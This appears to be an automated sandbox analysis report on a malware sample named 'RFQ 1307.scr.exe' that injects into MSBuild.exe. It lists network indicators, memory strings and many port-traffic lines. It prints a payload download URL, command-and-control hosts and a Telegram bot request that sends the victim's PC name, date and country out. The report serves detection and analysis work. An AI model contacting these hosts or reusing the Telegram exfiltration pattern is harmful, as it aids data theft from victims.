Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20and%20Time:%2022/10/2024%20/%2001:16:48%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20536720%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ORACLE-BMC-31898US ORACLE-BMC-31898US

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49922 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49945 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49951 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49959 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49981 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49940 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49932 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-includes/Lwkmydbthhy.dat HTTP/1.1Host: playstoremeta.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20and%20Time:%2022/10/2024%20/%2001:16:48%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20536720%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: playstoremeta.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 21 Oct 2024 11:18:09 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003461000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20a
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000004.00000002.2618358547.00000000030CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: MSBuild.exe, 00000004.00000002.2618358547.00000000030C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://playstoremeta.com
Source: RFQ 1307.scr.exe	String found in binary or memory: https://playstoremeta.com/wp-includes/Lwkmydbthhy.dat
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.000000000300E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MSBuild.exe, 00000004.00000002.2618358547.000000000300E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186
Source: MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.000000000300E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186$
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000004.00000002.2618358547.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: MSBuild.exe, 00000004.00000002.2618358547.00000000030F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
